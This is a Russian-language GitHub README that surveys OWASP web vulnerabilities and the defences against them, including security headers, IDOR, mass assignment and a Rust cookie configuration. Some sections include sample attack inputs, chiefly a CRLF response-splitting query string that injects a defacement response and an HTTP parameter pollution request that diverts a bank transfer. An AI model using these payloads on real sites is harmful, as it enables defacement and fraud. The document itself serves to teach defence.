Skip to content

Jekahome/Security-Web

Repository files navigation

Security Web

OWASP

Распространенные уязвимости веб-приложений

OWASP - Open Web Application Security Project.

OWASP Top 10 - в этом документе представлена ​​информация о 10 наиболее важных угрозах безопасности приложений на момент проведения исследования. Эти риски представляют собой эксплойты, которые чаще всего используются хакерами и наносят наибольший ущерб.

Broken User Authentication (Broken Access Control)

Каждая часть информации должна быть доступна только определенному кругу пользователей в зависимости от предоставленного им доступа. Нарушение контроля доступа может привести к ситуациям, когда пользователи смогут получить доступ к информации, к которой у них нет полномочий.

Например, если обычный пользователь может получить доступ к странице администратора, даже если он не является администратором, его роль не была проверена должным образом. Этот риск безопасности можно снизить путем внедрения модели управления доступом на основе владения записями RBAC.

Нарушение аутентификации связано с различными веб-уязвимостями. Однако все они подразумевают обход методов аутентификации, представленных на веб-сайтах. Большинство атак с нарушенной аутентификацией включают заполнение учетных данных, неправильные таймауты сеанса, а также witout solt и хешированные пароли. Это позволяет злоумышленникам обходить аутентификацию и выдавать себя за законных пользователей.

Многофакторная аутентификация — один из лучших способов борьбы с атаками со сбоем аутентификации. Следовательно, знать учетные данных пользователя — имя пользователя и пароля — будет недостаточно для доступа к его учетной записи. Кроме того, пароли пользователей, хранящиеся в вашей базе данных, должны быть не только зашифрованы, но и обработаны solt и хешированы.

Token-Based Authentication Наиболее надежная на данный момент схема безопасности, основанная на токенах

При получении токена сервер должен проверять его на валидность — что пользователь существует, время использования не прошло и т.д. Token-Based Authentication может использоваться как часть OAuth 2.0 или OpenID Connect протоколов, так и сервер сам может сформировать токен.

При любом способе аутентификации для безопасного использования должен использоваться протокол, который обеспечивает шифрование данных, HTTP заголовков и URL, например HTTPS.

Authorization flow:

  • Перед началом авторизации необходимо зарегистрировать MySite в Соцсети (Google, Facebook, ...):
  • Разработчик MySite задает Name (имя приложения), Homepage (адрес домашней страницы MySite) и Callback (адрес, на который Соцсеть перенаправит пользователя после успешной авторизации)
  • Соцсеть выдает Client ID (иногда его называют AppID) и Client Secret.
  • Client ID и Client Secret разработчик должен прописать в своем Client.

Разберем подробнее последнюю из описанных схем. На схеме представлен упрощенный алгоритм Token-Based Authentication на примере реализации возможности «Зайти с помощью Google аккаунта»

Token-Based_Authentication

  1. Пользователь заходит на сайт и нажимает кнопку «Зайти с помощью Google аккаунта»
  2. Сервер посылает запрос на Google.
  3. Google показывает пользователю свою форму логина.
  4. Пользователь вводит логин/пароль.
  5. Google проверяет логин/пароль и отправляет на наш сервер приложений access token и refresh token.
  6. Для аутентификации сервер расшифровывает token или получает информацию о пользователе по Google API.
  7. Далее сервер находит пользователя в своей базе, сообщает об успешной аутентификации и сохраняет токены в локальном хранилище пользователя для реализации возможности «Запомнить меня на этом устройстве». В каком конкретно: Local Storage, Session Storage или Cookies, решается в зависимости от требований бизнеса и безопасности. OWASP склоняется к Cookies с реализацией дополнительных механизмов безопасности: JSON Web Token Cheat Sheet. Нужно ли генерировать дополнительный «session token», где его хранить и как использовать — также должно определяться бизнесом, для которого реализуется система.
  8. После этого при каждом запросе к серверу клиент будет передавать access token в запросе, а наш сервер проверять его на валидность в Google и только после этого передавать запрошенные данные.
  9. При окончании срока действия access токена сервер использует refresh токен для получения нового.

Какие плюсы Token-Based Authentication для сервера приложений:

  • Не надо хранить пароли в базе данных на сервере, таким образом сразу избавляемся от уязвимости Insecure Passwords.
  • В некоторых случаях можно вообще избавиться от базы данных на сервере и получать всю необходимую информацию из Google или других систем.
  • Нет проблем с безопасностью, характерных для остальных методов:
    • При компрометации логина/пароля доступ к данным получается сразу и длится пока пользователь сам не заметит факт взлома, у токенов же есть время жизни, которое может быть небольшим.
    • Токен автоматически не уйдет на сторонний сайт, как Cookie.
    • Cookie-Based Authentication подвержена атаке Cross-Site Request Forgeries (CSRF) и, соответственно, необходимо использовать дополнительные механизмы защиты.
    • Можно не хранить сессию пользователя на сервере, а токен проверять каждый раз в Google.

Identification and Authentication Failures (Сбои в идентификации и аутентификации)

Функции приложения аутентификации и управления сеансом должны быть реализованы правильно. В противном случае это создает уязвимость программного обеспечения, которую могут использовать ненадежные агенты для получения доступа к личной информации.

Идентификация (Identification): Это процесс определения, кто или что пытается получить доступ к системе или ресурсам. В ходе идентификации пользователь предоставляет системе учетные данные или иные идентификационные атрибуты, которые могут быть использованы для определения его личности или статуса.

Аутентификация (Authentication): Это процесс проверки подлинности предоставленных идентификационных данных. В ходе аутентификации система проверяет, действительно ли предоставленные учетные данные соответствуют идентифицированному субъекту и имеют ли они право на доступ.

Lack of Resources & Rate Limiting (Отсутствие проверок и ограничений)

Необходимо защитить сервер от атак по подбору пароля (brute force attack). Для этого нужно реализовать следующие ограничения:

  • Ограничить число неудачных попыток авторизации одного пользователя. Как вариант использовать reCapture или аналогичный механизм.
  • Блокировать IP, если число неудачных попыток с него превысило определенное значение по всем пользователям.

Необходимо защитить сервер и от отказа в обслуживании (DoS-атаки)

  • Ограничить число запросов от одного пользователя или по одному ресурсу в течении определенного времени.
  • Также атаки по отказу в обслуживании могут основываться на передаче заведомо больших значений.

Например, сервер ожидает в параметре size число записей: /api/users?page=1&size=100 Если на сервере отсутствует проверка size на максимальное значение, то передача в параметре злоумышленником, например, 1_000_000 может привести к исчерпанию памяти на сервере и отказу в обслуживании. Поэтому нужно проверять на сервере все значения параметров на допустимые, даже если на нашем клиенте есть такие проверки. Ведь никто не помешает вызвать API напрямую.

Broken Object Level Authorization (Недостатки контроля доступа к объектам)

Другое название этого риска: Insecure Direct Object References (Небезопасные прямые ссылки на объекты). Для иллюстрации приведу API, которое в дальнейшем использую еще для нескольких примеров уязвимостей.

Удалить пользователя c userID: DELETE /users/{userID}: DELETE /users/1

То необходима проверка, что эту команду может вызвать только сам пользователь с ID 1 или администратор, а не, например, пользователь c ID 2 от своего имени, просто изменив значение ID в вызове команды.

Чтобы избежать подобных проблем нужно:

  • Проверять права доступа к объектам при каждом запросе.
  • Проверять, что залогиненный пользователь имеет доступ только к разрешенным объектам.
  • ID объектов должны быть сложными для подбора, например в виде UUID, а не простая последовательность 1, 2, 3.

OWASP рекомендует (Access Control Cheat Sheet) следующие модели обеспечения контроля доступа:

  • Role-Based Access Control (RBAC)
  • Discretionary Access Control (DAC)
  • Mandatory Access Control (MAC)
  • Permission Based Access Control

Improper Assets Management (Неправильное управление активами)

"Неправильное управление активами" (Improper Assets Management) - это термин в области информационной безопасности, который означает недостаточный или неправильный контроль, учет и управление информационными активами организации или предприятия. Это включает в себя все виды информации, такие как данные клиентов, конфиденциальные документы, программное обеспечение, оборудование, ресурсы и любые другие элементы, которые представляют ценность для организации.

Неправильное управление активами может привести к различным рискам и угрозам для организации, включая:

  1. Потеря данных: Недостаточный контроль и учет информационных активов может привести к потере или утрате важной информации, что может иметь серьезные последствия для бизнеса.

  2. Кража или утечка данных: Недостаточные меры защиты и управления активами могут сделать организацию уязвимой к краже или утечке конфиденциальных данных, что может привести к финансовым потерям, репутационному ущербу и юридическим последствиям.

  3. Недоступность активов: Недостаточное управление активами может привести к недоступности критически важных ресурсов или данных, что может привести к нарушению бизнес-процессов и потере доходов.

  4. Невозможность обеспечения соответствия: Организации, работающие в регулируемых отраслях, могут столкнуться с проблемами соответствия требованиям законодательства и стандартов безопасности из-за неправильного управления активами.

  5. Рост издержек: Неправильное управление активами может привести к избыточному использованию ресурсов или неправильному распределению бюджета, что может увеличить издержки и снизить эффективность деятельности организации.

Broken Function Level Authorization (Недостатки контроля доступа на функциональном уровне)

Должна быть разработана четкая система разграничения доступа между ролями пользователей API. Например, есть роль: user и роль: admin. Команду по просмотру всех пользователей может вызвать только admin:

GET /users/all

При каждом вызове команды необходима проверка прав доступа, чтобы обычный пользователь не мог вызвать команду, только изменив формат.

Cryptographic Failures

Криптографические сбои, ранее известные как раскрытие конфиденциальных данных, сосредоточены на сбоях, связанных с криптографией. Вместо того чтобы напрямую атаковать систему, хакеры часто пытаются украсть данные, пока они передаются из браузера пользователя. Чтобы предотвратить подобные атаки, вам необходимо создать безопасный канал связи.

Для веб-приложений быстрым решением этой проблемы является принудительное применение TLS на всех страницах. Без принудительной политики TLS или с плохим шифрованием хакер может отслеживать сетевой трафик, понижать качество соединения с HTTPS до HTTP и перехватывать всю информацию, передаваемую в виде открытого текста: пользовательские данные, пароли, файлы cookie сеанса и т. д.

Injection (SQL/OS)

SQLi-атаки обычно являются результатом неэкранированного ввода, передаваемого сайту и используемого как часть запроса к базе данных. Обнаружение этого типа уязвимости может привести к полному CRUD доступу к сайту. В некоторых случаях это может привести даже к возможности удаленного исполнения кода.

SQL-инъекция — это веб-атака с использованием вредоносных операторов SQL. При успешной SQL-атаке хакер может получить доступ к базе данных SQL вашего веб-сайта, чтобы копировать, добавлять, редактировать или удалять содержащиеся в ней данные. SQL-инъекция — наиболее распространенная уязвимость веб-безопасности, поскольку большинство веб-сайтов используют базу данных SQL.

Вы можете справиться с внедрением SQL, соблюдая осторожность при вводе данных пользователем. Идеально не полагаться на какой-либо пользовательский ввод. Прежде чем разрешить ввод данных на своем сайте, убедитесь, что все введенные пользователем данные проверены,т.е необходимо делать все возможные проверки, очистку, фильтрацию и валидацию данных.

Предотвращение использования слабых паролей пользователями и ограничение неудачных попыток входа в систему эффективно защищают большинство учетных записей пользователей от этой уязвимости. Вам также необходимо установить таймауты сеансов и внедрить системы восстановления учетных данных, чтобы помочь пользователям защитить свои учетные записи от непреднамеренных ошибок и без труда восстановить их.

Кроме того, к этому типу уязвимостей теперь относятся CWE, которые больше связаны со сбоями идентификации и Cross-site scripting теперь входят в эту категорию.

Insecure Design

Небезопасный дизайн относится к рискам, связанным с недостатками проектирования, которые часто включают отсутствие хотя бы одного из следующих факторов:

  • Моделирование угроз
  • Безопасные шаблоны проектирования
  • Принципы безопасного проектирования
  • Эталонная архитектура

API может иметь несколько точек входа (endpoints) с разными версиями и функциональными назначениями.

Например:

http://localhost:5000/myAPI/v1

http://localhost:5000/myAPI/v2

http://localhost:5000/myTestAPI/v1

Необходимо обеспечить учет и контроль версий API:

  • Нужно вести список имеющихся API, их версий, назначение (production, test, development) и кто имеет к ним доступ (public, internal, partners).
  • Необходимо управлять жизненным циклом API и своевременно запускать новые версии, снимать с поддержки старые.
  • В открытом доступ выставлять только актуальные версии API.
  • Не оставлять в открытом доступе endpoints, предназначенные для отладки.

Если не обеспечить подобный контроль, то возможно использование API в непредусмотренных целях. Например, злоумышленник обнаружит рабочий endpoint с версией API, которая имела уязвимости в безопасности, но была оставлена на время перехода на новую безопасную версию, но так и осталась в эксплуатации.

Insecure Transport (Небезопасный транспортный уровень)

Если не шифровать трафик между клиентом и сервером, то все HTTP данные и заголовки будут передаваться в открытом виде. Чтобы предотвратить утечку данных, надо использовать протокол HTTPS (Hyper Text Transfer Protocol Secure) или реализовывать шифрование самостоятельно. Для использования HTTPS нужен SSL-сертификат. Сайты в интернете должны получать такие сертификаты в доверительных центрах выдачи сертификатов CA (Certificate Authority). Но для целей шифрования данных между нашим клиентом и сервером можно поступить проще:

  • Самостоятельно сгенерировать, так называемый, self-signed сертификат.
  • На сервере настроить использование HTTPS протокола.
  • С клиента формировать запросы, начинающиеся с https.

Браузер, конечно, будет ругаться, что сертификат сервера подписан не известно кем, но мы-то можем сами себе доверять.

Security Misconfiguration (Некорректная настройка параметров безопасности)

Неправильные настройки конфигурации безопасности часто являются результатом:

  • Используются дефолтные настройки приложений, которые могут быть небезопасны.
  • Неполные или импровизированные конфигурации.
  • Используются открытые хранилища данных. В OpenSourсe попала закрытая информация, например, конфигурация системы или параметры доступа.
  • Неправильно сконфигурированы HTTP заголовки (данная тема рассмотрена в разделе «Insecure HTTP Headers»).
  • Многословные сообщения об ошибках, содержащие конфиденциальную информацию, например, трейсы стека.
  • Неправильно используются регулярные выражения, что позволяет провести атаку ReDoS (Regular expression Denial of Service)
  • Аутентификационные данные (логин/пароль, токен, apiKey) посылаются в URL. Это небезопасно, т.к. параметры из URL могут оставаться в логах веб серверов.
  • Отсутствует или неправильно используется политика Cross-Origin Resource Sharing (CORS)
  • Не используется HTTPS (рассмотрено в разделе «Insecure Transport»).
  • При эксплуатации промышленной системы используются настройки, предназначенные для разработки и отладки.

Также необходимо уделять внимание конфигурации облачных сервисов:

  • Для пользователей устанавливать только необходимые права доступа.
  • Открывать только необходимые сетевые порты.
  • Устанавливать безопасные версии патчей OS и приложений (подробно рекомендации рассмотрены в разделе «Using Components with Known Vulnerabilities»).

Insecure HTTP Headers

Блокируется отправка сервером заголовка, дающего дополнительную информацию злоумышленнику: X-Powered-By: Express

Insecure HTTP Headers: HTTP Strict Transport Security (HSTS)

Используется Strict-Transport-Security заголовок, который запрещает браузеру обращаться к ресурсам по HTTP протоколу, только HTTPS: Strict-Transport-Security: max-age=15552000; includeSubDomains

max-age=31536000 — это год в секундах. Рекомендуется выcтавлять этот заголовок, т.к. он предотвратит атаки, связанные с принуждением браузера перейти на HTTP протокол и начать передавать информацию (например cookies) в открытом виде, которую может перехватить злоумышленник. Запрос к серверу по HTTP и атака возможна только при первом обращении к серверу, при последующих браузер запомнит настройку Strict-Transport-Security и будет обращаться только по HTTPS.

Insecure HTTP Headers: X-Frame-Options (защита от Clickjacking)

Данный заголовок позволяет защититься от атаки Clickjacking. Так называется технология, когда злоумышленник помещает кнопку или поле ввода в прозрачный фрейм и пользователь думает, что он нажимает нужную кнопку или безопасно вводит данные, а на самом деле идет перенаправление на другой ресурс, полезный атакующему, например, на сайт с навязчивой рекламой.

Он разрешает использовать фреймы только в нашем домене: X-Frame-Options: SAMEORIGIN или вообще запретить X-Frame-Options: deny

А лучше для предотвращения атаки Clickjacking использовать более современный механизм и установить правильную политику безопасности Content-Security-Policy

Content-Security-Policy

Позволяет защититься от атаки Cross-site scripting и других кросс-сайтовых инъекций, в том числе Clickjacking. Требует вдумчивого конфигурирования, т.к. параметров много. Но надо хотя бы поставить дефолтную политику, что предотвратит возможность атаки Cross-site Scripting: Content-Security-Policy: default-src 'self'

Подробно значения заголовка Content-Security-Policy разбираются, например, по ссылке.

Insecure HTTP Headers: X-Content-Type-Options

Установка заголовка X-Content-Type-Options запрещает браузеру самому интерпретировать тип присланных файлов и принуждает использовать только тот, что был прислан в заголовке Content-Type:

X-Content-Type-Options: nosniff

Без этого возможна ситуация, когда, например, посылается безобидный на вид txt файл, внутри которого вредоносный скрипт и браузер его выполняет как скрипт, а не как текстовой файл.

Cache-Control

Cache-Control позволяет управлять кешом на стороне клиента, рекомендуется запретить кеширование, чтобы в кеше случайно не оставались приватные данные:

Cache-Control: no-store

Vulnerable and Outdated Components

Уязвимые и устаревшие компоненты Компоненты состоят из библиотек, фреймворков и других программных модулей. Часто компоненты работают с теми же привилегиями, что и ваше приложение. Если компонент уязвим, он может быть использован ненадежным агентом. Это приводит к серьезной потере данных или захвату сервера. Для проверки безопасности компонент используются специальные приложения, например, для JavaScript можно использовать Retire.

Even Better TOML - Это расширение для Vs code показывает актуальные версии пакетов

База данных уязвимостей экосистемы Rust.

cargo-audit аудит Cargo.lock на предмет crates с уязвимостями безопасности

Software and Data Integrity Failures

Нарушения целостности программного обеспечения и данных относятся к предположениям, сделанным в отношении обновлений программного обеспечения, критических данных и конвейеров CI/CD без проверки целостности. Кроме того, ошибки десериализации часто приводят к удаленному выполнению кода. Это позволяет ненадежным агентам выполнять атаки воспроизведения, внедрения и повышения привилегий.

Кроме того, в состав этой уязвимости включена Mass Assignment (Небезопасная десериализация). Небезопасная десериализация относится к любому приложению, которое не десериализует внешние или умеренные объекты, которые являются уязвимыми. Это связано с тем, что хакеры получают возможность манипулировать данными, получаемыми внутренним кодом. Excessive Data Exposure — лишние данные передаются на сервер с целью несанкционированной замены значений.

Как это понимать?

Предположим у нас есть пользователь-хакер со следующими данными: {"userName":"Alex","age":25,"balance":"150"}

Наш сервер подвержен атаке Mass Assignment и без проверок источника записывает все пришедшие данные. Он может отправить на сервер запрос на изменение возраста, в который добавляет дополнительный атрибут balance: {"userName":"Alex","age":26,"balance":"1000000"} После этого баланс увеличится без внесения реальных денег.

Чтобы предотвратить данную атаку необходимо:

  • Не допускать автоматическую десериализацию пришедших данных.
  • Ограничить список атрибутов, которые может менять пользователь.

Самый быстрый и, возможно, самый безопасный способ защитить себя от небезопасной десериализации — просто не принимать сериализованные объекты из ненадежных источников и ограничить использование сериализованных объектов в вашем приложении.

Security Logging and Monitoring Failures

Сбои ведения журнала безопасности и мониторинга. Недостаточные процессы регистрации и мониторинга опасны. Это делает ваши данные уязвимыми для взлома, извлечения или даже уничтожения. Чтобы выявить атаку или подозрительное поведение пользователей, систему надо мониторить, а события логировать с достаточным уровнем подробности:

  • Логировать все неудачные попытки аутентификации, отказы в доступе, ошибки валидации входных данных.
  • Обеспечить целостность логов, чтобы предотвратить возможность их подделки.
  • Мониторить надо не только приложения и вызовы API, но и инфраструктуру, сетевую активность, загрузку OS.
  • Необходимо обеспечить не только мониторинг, но и оперативное оповещение о нарушениях штатной работы системы.
  • Общие советы по мониторингу можно посмотреть в статье Monitoring Done Right

Incorrect security configuration

Неправильная конфигурация безопасности. Когда вы, как владелец веб-сайта, не можете установить все необходимые протоколы и средства контроля безопасности для своего веб-сервера, вы делаете его уязвимым для веб-атак. Это неправильная настройка безопасности. Кроме того, вы можете реализовать эти меры безопасности и сделать это с одной или двумя ошибками, которые по-прежнему делают вас уязвимыми.

Неправильная конфигурация безопасности может привести к широкому спектру уязвимостей, таких как:

  1. Недостаточные права доступа: Неправильная настройка доступа к данным и ресурсам может привести к несанкционированному доступу, утечкам данных и другим нарушениям конфиденциальности.

  2. Необоснованные доверия: Неправильная конфигурация механизмов аутентификации и авторизации может привести к уязвимостям связанным с подделкой личности, фишингом и другим видам атак, использующих доверие.

  3. Недостаточная защита от атак: Неправильная конфигурация защитных механизмов, таких как брандмауэры, межсетевые экраны, антивирусные программы и др., может привести к возможности успешных атак на систему.

  4. Неверное хранение и обработка данных: Неправильная конфигурация системы хранения данных и механизмов шифрования может привести к утечкам и компрометации конфиденциальной информации.

  5. Неактуальные и необновленные компоненты: Неправильная конфигурация может также включать в себя отсутствие обновлений и патчей безопасности, что делает систему уязвимой к известным угрозам.

В целом, неправильная конфигурация безопасности представляет серьезную угрозу для информационной безопасности организации и требует тщательного анализа и устранения проблемы с целью уменьшения рисков и повышения уровня безопасности системы.

Неправильную настройку безопасности относительно легко исправить. Во-первых, вам необходимо понять, как работает ваш сайт, выбрать оптимальные меры безопасности для вашего сайта и убедиться, что все реализовано правильно. Используйте надежные пароли администратора и заблокируйте несанкционированный доступ к вашему серверу. Время от времени запускайте сканирование, чтобы обнаружить и устранить любые дыры в безопасности.

Insecure Direct Object References (IDOR)

Insecure Direct Object References (IDOR) - это уязвимость веб-приложений, при которой злоумышленник может получить доступ к объектам или ресурсам (например, файлам, записям в базе данных), к которым он не должен иметь доступа. Эта уязвимость возникает, когда приложение недостаточно проверяет права доступа пользователя перед предоставлением доступа к объектам или ресурсам.

Классический пример IDOR возникает в веб-приложениях, где каждый объект или ресурс имеет свой уникальный идентификатор, который можно предсказать или перебирать. Злоумышленник может попытаться изменить этот идентификатор в URL или запросе, чтобы получить доступ к объекту или ресурсу, на который у него нет прав.

Пример сценария IDOR:

  1. Веб-приложение имеет страницу, где пользователь может просматривать свои собственные заказы по их идентификатору.
  2. URL для просмотра заказа выглядит примерно так: https://example.com/orders/view?id=123.
  3. Злоумышленник меняет идентификатор заказа в URL на другой, который принадлежит другому пользователю или заказу: https://example.com/orders/view?id=456.
  4. Приложение не проверяет, имеет ли текущий пользователь доступ к заказу с этим идентификатором, и показывает информацию о заказе с этим идентификатором, даже если он принадлежит другому пользователю.

Чтобы предотвратить уязвимость IDOR, важно:

  • Правильно настроить и проверять права доступа пользователей к объектам и ресурсам.
  • Не использовать предсказуемые или перебираемые идентификаторы объектов или ресурсов.
  • Проверять идентификаторы и права доступа на серверной стороне перед предоставлением доступа к объектам или ресурсам.
  • Ограничивать доступ к объектам и ресурсам только тем пользователям, которые имеют на это права.

Используйте стандарт кодирования

Стандарты кодирования, такие как OWASP, CWE и CERT, PA DSS, DISA STIG, позволяют лучше предотвращать, обнаруживать и устранять уязвимости. Обеспечить соблюдение стандарта кодирования легко, если вы используете инструмент SAST, например Klocwork. Klocwork выявляет дефекты безопасности и уязвимости во время написания кода.

Другие распространенные уязвимости: Открытые перенаправления (Open Redirect)

Уязвимость открытого перенаправления — одна из самых простых в использовании и практически не требует опыта взлома. Это недостаток безопасности в приложении, которым можно злоупотребить, чтобы перенаправить пользователей на вредоносный сайт.

Проблема в том, что уязвимые приложения не могут должным образом аутентифицировать URL-адреса, чтобы убедиться, что эти URL-адреса являются частью домена целевой страницы. Вместо этого такие приложения просто перенаправляются на предоставленную страницу независимо от URL-адреса.

Эта уязвимость часто используется для проведения фишинговых атак с целью кражи учетных данных пользователей и обмана принуждения пользователей к совершению платежей.

Согласно Open Web Application Security Project, открытое перенаправление происходит, когда приложение принимает параметр и перенаправляет пользователя к значению этого параметра без какой-либо валидации и проверки содержимого этого параметра. Эта уязвимость используется в фишинговых атаках, чтобы заставить пользователей посетить вредоносные сайты усыпляя их бдительность. Вредоносный веб-сайт будет выглядеть при этом точно также как и настоящий, с той лишь разницей что задача вредоносного сайта собирать личную и конфиденциальную информацию.

Иногда их легко найти по строчками redirect_to=, domain_name=, checkout_url=, и подобным. Этот тип уязвимости полагается на использование доверия, когда жертвы посещают сайт хакера, думая, что они посетят знакомый сайт. Как правило, вы можете обнаружить эту уязвимость, когда URL передается в качестве параметра для веб-запроса.

Другие распространенные уязвимости: Чрезмерное раскрытие данных

Excessive Data Exposure (Разглашение конфиденциальных данных). В веб-приложениях мы склонны предоставлять больше данных, чем необходимо, дополнительные свойства объектов, чрезмерную информацию об обработке ошибок и т. д. Это часто делается, когда мы фокусируемся на обеспечении лучшего пользовательского опыта, не принимая во внимание конфиденциальность информации, которую мы раскрываем. Проблема в том, что злоумышленник может злоупотребить этой дополнительной информацией, чтобы получить доступ внутрь сети или перехватить конфиденциальную информацию.

Например, безобидный запрос данных по пользователю с ID 1: GET /users/1 может вернуть не только имя / возраст, но и ответ на секретный вопрос, который пользователь задал во время регистрации: {"userName":"Alex","age":25,"secretAnswer":"HelloWorld"}. Это и называется излишняя передача данных. Проблема усугубляется тем, что лишних данных может быть еще и просто много по объёму. При больших нагрузках это приведет к сетевым проблемам. Соответственно, при разработке API нельзя полагаться на фильтрацию данных в клиенте — все данные должны фильтроваться на сервере.

Настройки для клиента и сервера хранятся в файлах config в JSON формате. Чувствительные настройки сервера нельзя хранить в config файлах, т.к. они могут стать доступны в системах версионного контроля. Для такой информации как: логины/пароли для базы данных, ключи доступа к API и т.д. надо использовать специализированные механизмы:

  • Задавать эти параметры в .env файле. Файл .env прописан в .gitignore и не сохраняется в системах версионного контроля, поэтому поэтому туда можно безопасно записывать чувствительную информацию.
  • Использовать механизм переменных окружения (environment variables), которые устанавливаются вручную или прописываются инсталляторами.

HTTP Parameter Pollution

HTTP Parameter Pollution (HPP) - это уязвимость веб-приложений, которая возникает при передаче нескольких параметров с одним и тем же именем через HTTP запрос. Это может привести к непредсказуемому поведению веб-приложений и, в некоторых случаях, к повышенному риску безопасности.

Примером HTTP Parameter Pollution может быть следующий URL-адрес запроса:

https://example.com/search?query=apple&query=banana

Здесь параметр query передается дважды с разными значениями apple и banana. Если веб-приложение не правильно обрабатывает такие случаи, это может привести к различным проблемам:

  • Непредсказуемое поведение: Веб-приложение может выбирать только одно значение параметра, игнорируя или переопределяя другие значения. Это может привести к неправильным результатам или ошибкам в логике приложения.

  • Уязвимости безопасности: Если веб-приложение использует несколько значений параметра без должной обработки, это может привести к уязвимостям в безопасности, таким как инъекции SQL или XSS (межсайтовый скриптинг), если атакующий вводит зловредные значения в параметры.

Для защиты от HTTP Parameter Pollution веб-приложения должны правильно обрабатывать и валидировать все входные данные, включая параметры HTTP запросов, и использовать механизмы защиты от инъекций и других угроз безопасности. Также рекомендуется использовать уникальные имена параметров, чтобы избежать возможности HPP.

HPP, происходит, когда сайт принимает пользовательский ввод и использует его для создания запроса к другой системе без валидации этого ввода. Это может пройзойти одним из двух способов, через сервер (или бэкенд) и через клиентскую сторону. Возможные случаи HPP когда в URL встречается идентификатор id, uid, ссылки, кнопки на социальные сети.

Например система устанвливает POST параметр toAccount и мы можем передав его последним дополнительно к установленному, возможно перезаписать его на сервере toAccount=9876&amount=1000&fromAccount=12345 => toAccount=9876&amount=1000&fromAccount=12345&toAccount=99999

В этом случае второй параметр toAccount, отправленный злоумышленником, перезапишет первую переменную toAccount и позволит перевести деньги на предоставленный хакером счет (99999) вместо счета, установленного системой (9876)

И серверная и клиентская HPP зависят от того, какая технология используется на бэкенде и как она действует, получая несколько параметров с одинаковыми именами. Например, PHP/Apache используют последний переданный параметр из нескольких с одинаковыми именами, Apache Tomcat использует первый параметр, ASP/ISS используют все параметры, и так далее. В результате, нет одного гарантированного способа для отправки нескольких параметров с одинаковыми именами и обнаружение HPP потребует некоторых экспериментов, чтобы узнать, как работает тестируемый вами сайт.

Insecure Cookies and Local Storage (Небезопасные Cookies и данные в Local Storage)

Cookies должны использоваться безопасно:

  • Нельзя использовать дефолтные имена.
  • При создании Cookies следует устанавливать следующие опции:
secure - браузер будет отправлять cookies только по HTTPS протоколу.
httpOnly - браузер будет отправлять cookies только по HTTP или HTTPS и не отправлять при запросах из JavaScript, что предотвратит атаки Cross-site Scripting (XSS).
domain - определяет domain cookie.
path - определяет path cookie.
expires - определяет дату устаревания cookies.
SameSite - браузер будет отправлять cookies только тому сайту, который их установил.

actix-session

wrap(
    SessionMiddleware::builder(
        CookieSessionStore::default(), secret_key.clone()
    )
    .cookie_secure(true) // true=https only
    .session_lifecycle(actix_session::config::PersistentSession::default().session_ttl(actix_web::cookie::time::Duration::hours(1)))
    .cookie_content_security(CookieContentSecurity::Private) // encrypt
    .cookie_same_site(SameSite::Lax) // SameSite::Strict
    .cookie_http_only(true) // disallow scripts from reading
    .cookie_domain(<your domain>)
    .cookie_path(<your path cookies>)
    .build()
)

Европейские сайты должны явно спрашивать разрешение у пользователя о применении Cookies. Так как, например, если в Cookies записать последовательность действий пользователя на сайте, то это уже считается персональной информацией.

Общие правила безопасности для Cookies и Local Storage:

  • Нельзя хранить важную информацию с сервера, т.к. она доступна пользователю.
  • Нельзя хранить персональную информацию пользователя, т.к. она может стать доступна другим пользователям компьютера.
  • Соответственно, можно хранить только зашифрованные данные или служебную информацию.

CRLF относится к тому типу уязвимостей, которые происходят, когда юзер вставляет CRLF в приложение. Символы CRLF означают конец строки для множества интернет-протоколов, включая HTML, и выглядят как %0D%0A, что декодируется в \r\n.

Кодирование в формат с URL-кодировкой

CRLF = \r\n = %0D%0A

LF = %0A

Они могут быть использованы для обозначения переноса строк и в сочетании с заголовками HTTP-запросов и ответов могут приводить к различным уязвимостям, включая HTTP Request Smuggling и HTTP Response Splitting.

Если говорить о HTTP Request Smuggling, это обычно происходит когда HTTP-запрос проходит через сервер, который обрабатывает его и передает другому серверу, как прокси или файрволл.

HTTP Response Splitting (разделение HTTP-ответа): Злоумышленник вставляет символы CRLF в запрос, чтобы вставить дополнительные HTTP-заголовки или изменить содержимое ответа сервера. Это может привести к внедрению фальшивых контента или выполнению атак с перенаправлением, когда злоумышленник перенаправляет пользователей на вредоносные сайты.

HTTP Request Smuggling (туннелирование HTTP-запросов): Злоумышленник вставляет символы CRLF в запрос, чтобы влиять на интерпретацию HTTP-запросов сервером и привлекать сервер к неверной обработке запросов. Это может привести к обходу контроля доступа, управлению сеансами или другим атакам.

Cross-Site Scripting (XSS): Если приложение позволяет злоумышленнику вставлять символы CRLF в HTTP ответы без должной фильтрации, это может привести к выполнению атак межсайтового скриптинга (XSS), когда злоумышленник встраивает вредоносные сценарии в ответы.

Этот тип уязвимости может привести к:

  • Отравлению кэша, ситуации, в которой атакующий может изменять записи в кэше и отдавать вредоносные страницы (например, содержащие javascript) вместо корректных
  • Обходу файрволла, ситуации, в которой запрос может быть создан таким образом, чтобы обойти проверки безопасности, обычно, включает в себя CRLF и чрезмерно большие тела запросов
  • Кражу запроса, ситуации, в которой атакующий может украсть HttpOnly cookies и информации о HTTP аутентификации. Это похоже на XSS, но не требует взаимодействия между клиентом и хакером

Комбинация CRLFCRLF скажет браузеру, что заголовок заканчивается и начинается тело. Значит теперь он может записывать данные в тело ответа туда, где лежит HTML-код. Это может привести к уязвимости межсайтового скриптинга.

Например если сервер использует параметры из запроса для формирования заголовков ответа, то можно с помощью переноса строки добавить свой вариант тела ответа, прихватив при этом нужную информацию с сервера.

/?name=ss&msg=Bob%0d%0a%0d%0aHTTP/1.1%20200%20OK%0D%0Acontent-type:text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>

Если злоумышленник сможет сделать инъекцию в HTTP-заголовок, который активирует CORS (Cross Origin Resource Sharing), то он сможет использовать javascript для доступа к ресурсам, защищенным SOP (Same Origin Policy), которая запрещает сайтам из разных источников получать доступ друг к другу.

Как предотвратить CRLF/HTTP-инъекции заголовков в веб-приложениях

Лучший метод предотвращения – это не использовать ввод данных пользователем непосредственно в заголовок ответа. Если это невозможно, вы всегда должны использовать функцию для кодирования специальных символов CRLF. Еще одна хорошая практика безопасности – это обновление языка программирования до версии, которая не позволяет делать инъекции CR и LF внутри функций, которые устанавливают HTTP-заголовки.

Cross Site Request Forgery (CSRF-атаки)

Подделка межсайтового запроса. Атака CSRF происходит путем отправки поддельного HTTP-запроса от имени аутентифицированного пользователя без его согласия.

